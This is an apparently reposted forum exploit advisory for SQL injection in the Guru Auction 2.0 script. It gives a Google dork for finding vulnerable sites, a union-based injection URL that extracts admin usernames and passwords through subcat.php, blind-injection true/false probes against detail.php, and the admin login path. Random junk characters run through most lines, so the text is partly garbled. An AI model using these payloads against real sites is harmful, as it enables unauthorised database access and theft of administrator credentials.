Guru Auction 2.0 Multiple SQL Injection Vulnerabilities% V" q* T# C! m
. c' U9 z3 A1 n, a+ n5 s7 C' Q$ k作者 : v3n0m
* T4 _+ r$ s2 z应用 : Guru Auction 2.0
" {8 Y/ \# w; F3 h: R. DPrice : $498 ?1 r, u3 D; ^" \! M; H! n+ _& R
Vendor : http://www.guruscript.com/% V( e' R% o; ~) `6 k2 w) w
Google Dork : inurl:subcat.php?cate_id=
+ L! s2 @" m4 k8 ?( G- q5 r, W* \$ U1 h
; ~8 [9 v* `1 v1 i b& s) pSQLi p0c:" T I7 J$ t# B. u( M
~~~~~~~~~~
) g0 z& o3 B) V L3 t: D' y. I7 Vhttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--+ g( M1 @' O; g8 W0 S' I3 t& N/ N
3 P1 O9 Q" I. h( y7 V9 G 5 h7 |+ {4 b; |( `6 ]3 }
盲注 p0c:
8 Z) ~9 r3 t+ j5 _5 u~~~~~~~~~~' B6 `1 @" e, Q$ g; X
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
' f; \ s+ ]# G; t7 B) l! J2 q) shttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
|5 c3 m2 G, [" A1 P( b
0 d) @- x) U l M! J# R管理登录入口:
, D Y; ^( F% e/ D. u~~~~~~~~~~
* D7 ]3 {0 C3 K/ i( N( ~$ Thttp://domain.tld/[path]/admin/
: H- d5 E! U) s0 z |
发表于 2012-12-31 09:24:05
收藏
支持
反对